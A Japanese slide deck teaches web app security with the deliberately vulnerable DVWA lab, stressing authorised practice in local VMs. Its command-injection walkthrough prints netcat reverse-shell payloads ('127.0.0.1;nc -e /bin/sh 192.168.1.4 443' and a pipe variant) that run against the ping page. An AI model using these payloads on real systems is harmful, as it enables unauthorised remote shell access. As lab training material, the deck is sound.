SlideShare ist ein Scribd-Unternehmen logo
1 von 25
DVWAで爆上げ
WebAppセキュリティスキル
@shunaroo
とっしんの会 #5
2018/05/12
自己紹介
@shunaroo
• 社会人6年目の社内SE
• SE向け新人研修(最近していない)
• 社内向けWebシステム開発(Java系)
• セキュリティ対策支援(最近)
• 7月からセキュリティエンジニアに…!
• 興味がある分野
• セキュリティ分野(今日も話します)
「セキュリティのアレ」を見てからハマる
http://www.atmarkit.co.jp/ait/subtop/features/ait/are.html
Wow
このスライドの目標
WebAppセキュリティを学びたい人が
スキルアップするための参考になること
DVWAは脆弱性を含んだWebApp
攻撃と防御の練習にお勧め!
最近やっているスキルアップ法
①IT基礎技術を学ぶ
セキュリティ問題は基礎知識の先にある問題なので
②英語の動画を見る
セキュリティの情報は英語が圧倒的に多いので
③実際にやってみる
やらないと身につかないし怖さもわからないので
④最新の情報をキャッチアップ
セキュリティは生き物なので
最近やっているスキルアップ法
①IT基礎技術を学ぶ
セキュリティ問題は基礎知識の先にある問題なので
②英語の動画を見る
セキュリティの情報は英語が圧倒的に多いので
③実際にやってみる ← 今日はこれにフォーカス
やらないと身につかないし怖さもわからないので
④最新の情報をキャッチアップ
セキュリティは生き物なので
セキュリティを学ぶ時の注意点
許可された範囲で攻撃する
why?
誰かまたは何かを守るためにセキュリティを学ぶはず
興味本位で許可されていないサイトへの攻撃はやめましょう
(サイト担当者の土日がなくなります。No More 不健康経営)
How
簡単なのは、自分のPCにやられ用VMを立てる
やられVM一覧
No 名前 URL
1 OWASP Broken Web
Application Project
https://www.owasp.org/index.php/OWASP_Broken_Web
_Applications_Project
2 BadStore https://www.vulnhub.com/entry/badstore-123,41/
3 Metasploitable2 https://sourceforge.net/projects/metasploitable/files/Met
asploitable2/
今回はこのVMの中にある
Damn Vulnerable Web Application(DVWA)
を紹介
DVWAとは
脆弱性が組み込まれたWebApp
脆
弱
性
ご
と
に
ペ
ー
ジ
が
用
意
さ
れ
て
い
る
特徴
脆弱性と対策を学びやすくする以下機能がある
①脆弱性レベル設定機能
②ソースコード表示機能
特徴 ①脆弱性レベル設定機能
脆弱性(メニュー)ごとに3段階のレベルを設定することができる。
レベルに合わせてどのように攻撃できるか、
どのように守っているか考えながら学習できる
Low:無防備
Medium:ちょっと対策
Highまあ安全
特徴 ②ソースコード表示機能
実際にどのようなコードで書いているかが見れる
どのように書くと危険か、安全かを確認することができる
どのように制御している
かをページごとに確認で
きる
じゃあ やってみよう!
今回やること概要
やる側VM やられる側VM
Kali Linux
すごく強い
Metasploitable2
すごく弱い
攻撃
検証用ホストOS
対象の脆弱性:Commnand Execution
攻撃概要 :Netcatコマンドをインジェクションして、
リバースシェルによる攻撃対象へのリモートログイン
環境概要
横文字無双!
強制接続
Netcatコマンド
やる側でやられる側
にあるシェルを実行
Command Executionページ概要
指定した宛先にPingを送信する機能を持つページ
Level:Low(問題)
ソース
もらった入力値は検査しない
文字列「ping + 入力値」に変換し
シェルコマンドを実行
Level:Low(解法)
シェルの仕組みを利用して、ping以外のコマンドを実行
シェルは「;」で区切ることで複数のコマンドを実行できる
例)pwdコマンド+idコマンド
インジェクションするNetcatコマンドについては、説明を省略
Level:Low(実演準備)
準備
Kali Linux側でNetcatをリッスンモードで待機
443ポートを指定したのは、やられ側にHTTPS通信をしていると
錯覚させるため
Level:Low(実演)
入力値に以下を入力
127.0.0.1;nc -e /bin/sh 192.168.1.4 443
リモートログイン成功!
Level:Medium(問題)
ソース
入力前処理で「;」を無効化
Level:Medium(解法)
シェルの仕組みを利用して、ping以外のコマンドを実行
シェルは「|」で区切ることで複数のコマンド組み合わせて実行できる
例)lsコマンド+moreコマンド
Level:Medium(実演準備)
準備
Kali Linux側でNetcatをリッスンモードで待機
443ポートを指定したのは、やられ側にHTTPS通信をしていると
錯覚させるため
Level:Medium(実演)
入力値に以下を入力
127.0.0.1|nc -e /bin/sh 192.168.1.4 443
リモートログイン成功!
Level:High(問題)
ソース
Ipv4形式に入力値しか受け付けなくしている
Level:High (解法)
まとめ
このスライドでは
セキュリティスキルのアップしたい方向けに
実際に手を動かしながら攻撃と防御の自己学習がしやすい
DVWAを紹介しました。
DVWAでは今回紹介した脆弱性以外にも様々な脆弱性が隠れています。
悩んで困ったら、ネットで検索しましょう。
世界中の人がいろいろな解法を掲載しています。
ほかの人のやり方も学ぶことで、より視野を広げていきましょう!(私も!)

Weitere ähnliche Inhalte

Was ist angesagt?

フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)
abend_cve_9999_0001
 
FridaによるAndroidアプリの動的解析とフッキングの基礎
FridaによるAndroidアプリの動的解析とフッキングの基礎FridaによるAndroidアプリの動的解析とフッキングの基礎
FridaによるAndroidアプリの動的解析とフッキングの基礎
ken_kitahara
 

Was ist angesagt? (20)

2 manual - clp pic40-v3
2 manual - clp pic40-v32 manual - clp pic40-v3
2 manual - clp pic40-v3
 
OWASP Top 10 2021 What's New
OWASP Top 10 2021 What's NewOWASP Top 10 2021 What's New
OWASP Top 10 2021 What's New
 
Top 10 Reasons to Learn Cybersecurity | Why Cybersecurity is Important | Edureka
Top 10 Reasons to Learn Cybersecurity | Why Cybersecurity is Important | EdurekaTop 10 Reasons to Learn Cybersecurity | Why Cybersecurity is Important | Edureka
Top 10 Reasons to Learn Cybersecurity | Why Cybersecurity is Important | Edureka
 
ReactとSeleniumの幸せな関係
ReactとSeleniumの幸せな関係ReactとSeleniumの幸せな関係
ReactとSeleniumの幸せな関係
 
Understanding MicroSERVICE Architecture with Java & Spring Boot
Understanding MicroSERVICE Architecture with Java & Spring BootUnderstanding MicroSERVICE Architecture with Java & Spring Boot
Understanding MicroSERVICE Architecture with Java & Spring Boot
 
MQTTとAMQPと.NET
MQTTとAMQPと.NETMQTTとAMQPと.NET
MQTTとAMQPと.NET
 
Microsoft Graphことはじめ クエリパラメータ編
Microsoft Graphことはじめ クエリパラメータ編Microsoft Graphことはじめ クエリパラメータ編
Microsoft Graphことはじめ クエリパラメータ編
 
JavaScript難読化読経
JavaScript難読化読経JavaScript難読化読経
JavaScript難読化読経
 
Malware Detection - A Machine Learning Perspective
Malware Detection - A Machine Learning PerspectiveMalware Detection - A Machine Learning Perspective
Malware Detection - A Machine Learning Perspective
 
Spring tools4
Spring tools4Spring tools4
Spring tools4
 
OWASP Cloud Top 10
OWASP Cloud Top 10OWASP Cloud Top 10
OWASP Cloud Top 10
 
Virus encryption
Virus encryptionVirus encryption
Virus encryption
 
OReilly-Web-Application-Security-NGINX.pdf
OReilly-Web-Application-Security-NGINX.pdfOReilly-Web-Application-Security-NGINX.pdf
OReilly-Web-Application-Security-NGINX.pdf
 
Vulnerability assessment and penetration testing
Vulnerability assessment and penetration testingVulnerability assessment and penetration testing
Vulnerability assessment and penetration testing
 
Information Security Lecture Notes
Information Security Lecture NotesInformation Security Lecture Notes
Information Security Lecture Notes
 
べき等データベースマイグレーションツールmigu
べき等データベースマイグレーションツールmiguべき等データベースマイグレーションツールmigu
べき等データベースマイグレーションツールmigu
 
フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration Testing
 
FridaによるAndroidアプリの動的解析とフッキングの基礎
FridaによるAndroidアプリの動的解析とフッキングの基礎FridaによるAndroidアプリの動的解析とフッキングの基礎
FridaによるAndroidアプリの動的解析とフッキングの基礎
 
k8s初心者が gRPC × envoyを導入したら色々苦労した話 #yjbonfire
k8s初心者が gRPC × envoyを導入したら色々苦労した話 #yjbonfirek8s初心者が gRPC × envoyを導入したら色々苦労した話 #yjbonfire
k8s初心者が gRPC × envoyを導入したら色々苦労した話 #yjbonfire
 

Ähnlich wie DVWAで爆上げWebAppセキュリティスキル@shunaroo

Ähnlich wie DVWAで爆上げWebAppセキュリティスキル@shunaroo (20)

セキュリティ対策は攻撃者視点で考えよう
セキュリティ対策は攻撃者視点で考えようセキュリティ対策は攻撃者視点で考えよう
セキュリティ対策は攻撃者視点で考えよう
 
正しく恐れるクラウドのセキュリティ
正しく恐れるクラウドのセキュリティ正しく恐れるクラウドのセキュリティ
正しく恐れるクラウドのセキュリティ
 
ざっくり学ぼうあぶないWebアプリの脆弱性
ざっくり学ぼうあぶないWebアプリの脆弱性ざっくり学ぼうあぶないWebアプリの脆弱性
ざっくり学ぼうあぶないWebアプリの脆弱性
 
「DevSecOpsとは?」の一歩先 (CloudNative Days Tokyo 2021)
「DevSecOpsとは?」の一歩先 (CloudNative Days Tokyo 2021)「DevSecOpsとは?」の一歩先 (CloudNative Days Tokyo 2021)
「DevSecOpsとは?」の一歩先 (CloudNative Days Tokyo 2021)
 
20191013_Wolf and Seven Little Goats -Serverless Fairy Tales-
20191013_Wolf and Seven Little Goats  -Serverless Fairy Tales-20191013_Wolf and Seven Little Goats  -Serverless Fairy Tales-
20191013_Wolf and Seven Little Goats -Serverless Fairy Tales-
 
近年急増のサイバー攻撃の傾向(2018/5)
近年急増のサイバー攻撃の傾向(2018/5)近年急増のサイバー攻撃の傾向(2018/5)
近年急増のサイバー攻撃の傾向(2018/5)
 
スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:
スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:
スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:
 
20210716 Security Audit of Salesforce & Other Measures
20210716 Security Audit of Salesforce & Other Measures20210716 Security Audit of Salesforce & Other Measures
20210716 Security Audit of Salesforce & Other Measures
 
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
 
ライブコーディングとデモで理解するWebセキュリティの基礎
ライブコーディングとデモで理解するWebセキュリティの基礎ライブコーディングとデモで理解するWebセキュリティの基礎
ライブコーディングとデモで理解するWebセキュリティの基礎
 
Kaiki_lt_olt_kindofengineer
Kaiki_lt_olt_kindofengineerKaiki_lt_olt_kindofengineer
Kaiki_lt_olt_kindofengineer
 
これからのWebセキュリティ フロントエンド編 #seccamp
これからのWebセキュリティ フロントエンド編 #seccampこれからのWebセキュリティ フロントエンド編 #seccamp
これからのWebセキュリティ フロントエンド編 #seccamp
 
20180426 不正指令電磁的記録に関する罪とオンプレおよびクラウドにおけるWebネット型インシデントレスポンスについて
20180426 不正指令電磁的記録に関する罪とオンプレおよびクラウドにおけるWebネット型インシデントレスポンスについて20180426 不正指令電磁的記録に関する罪とオンプレおよびクラウドにおけるWebネット型インシデントレスポンスについて
20180426 不正指令電磁的記録に関する罪とオンプレおよびクラウドにおけるWebネット型インシデントレスポンスについて
 
Javaアプリサーバとりあえずの監視 第二回 渋谷Java #shibuya_java
Javaアプリサーバとりあえずの監視 第二回 渋谷Java #shibuya_java Javaアプリサーバとりあえずの監視 第二回 渋谷Java #shibuya_java
Javaアプリサーバとりあえずの監視 第二回 渋谷Java #shibuya_java
 
「プログラマのためのビジネス数学入門」第5回プログラマのための数学勉強会LT
「プログラマのためのビジネス数学入門」第5回プログラマのための数学勉強会LT「プログラマのためのビジネス数学入門」第5回プログラマのための数学勉強会LT
「プログラマのためのビジネス数学入門」第5回プログラマのための数学勉強会LT
 
ソフトウェア更新プログラム (パッチ) 管理手法勉強会 1 回目
ソフトウェア更新プログラム (パッチ) 管理手法勉強会 1 回目ソフトウェア更新プログラム (パッチ) 管理手法勉強会 1 回目
ソフトウェア更新プログラム (パッチ) 管理手法勉強会 1 回目
 
業務系WebアプリケーションがStrutsから旅立つ日
業務系WebアプリケーションがStrutsから旅立つ日業務系WebアプリケーションがStrutsから旅立つ日
業務系WebアプリケーションがStrutsから旅立つ日
 
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADAビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
 
06.超初心者向けセキュリティ入門(.netの解析と対策)
06.超初心者向けセキュリティ入門(.netの解析と対策)06.超初心者向けセキュリティ入門(.netの解析と対策)
06.超初心者向けセキュリティ入門(.netの解析と対策)
 
[Japan Tech summit 2017] CLD 023
[Japan Tech summit 2017]  CLD 023[Japan Tech summit 2017]  CLD 023
[Japan Tech summit 2017] CLD 023
 

Mehr von shuna roo

Mehr von shuna roo (12)

オープンソースソフトウェアのお話
オープンソースソフトウェアのお話オープンソースソフトウェアのお話
オープンソースソフトウェアのお話
 
MITRE ATT&CKマッピングのペストプラクティスでたよ
MITRE ATT&CKマッピングのペストプラクティスでたよMITRE ATT&CKマッピングのペストプラクティスでたよ
MITRE ATT&CKマッピングのペストプラクティスでたよ
 
Mitre T1070 #INDICAOTR REMOVAL ON HOST
Mitre T1070 #INDICAOTR REMOVAL ON HOSTMitre T1070 #INDICAOTR REMOVAL ON HOST
Mitre T1070 #INDICAOTR REMOVAL ON HOST
 
MITRE ATT&CK t1071 Application Layer Protocol
MITRE ATT&CK t1071 Application Layer ProtocolMITRE ATT&CK t1071 Application Layer Protocol
MITRE ATT&CK t1071 Application Layer Protocol
 
TryHackMeに学ぶハッキングスキル
TryHackMeに学ぶハッキングスキルTryHackMeに学ぶハッキングスキル
TryHackMeに学ぶハッキングスキル
 
5分で分かる(かもしれない)バグバウンティ
5分で分かる(かもしれない)バグバウンティ5分で分かる(かもしれない)バグバウンティ
5分で分かる(かもしれない)バグバウンティ
 
Cyber Kill Chain サイバーキルチェーン
Cyber Kill Chain サイバーキルチェーンCyber Kill Chain サイバーキルチェーン
Cyber Kill Chain サイバーキルチェーン
 
Open xINT CTF Bus Writeup@shunaroo
Open xINT CTF Bus Writeup@shunarooOpen xINT CTF Bus Writeup@shunaroo
Open xINT CTF Bus Writeup@shunaroo
 
Open Souce Intelligence (OSINT)
Open Souce Intelligence (OSINT)Open Souce Intelligence (OSINT)
Open Souce Intelligence (OSINT)
 
ハニーポットはじめてみました
ハニーポットはじめてみましたハニーポットはじめてみました
ハニーポットはじめてみました
 
Capture the flag(CTF)@shunaroo
Capture the flag(CTF)@shunarooCapture the flag(CTF)@shunaroo
Capture the flag(CTF)@shunaroo
 
いまさら話題のXML
いまさら話題のXMLいまさら話題のXML
いまさら話題のXML
 

DVWAで爆上げWebAppセキュリティスキル@shunaroo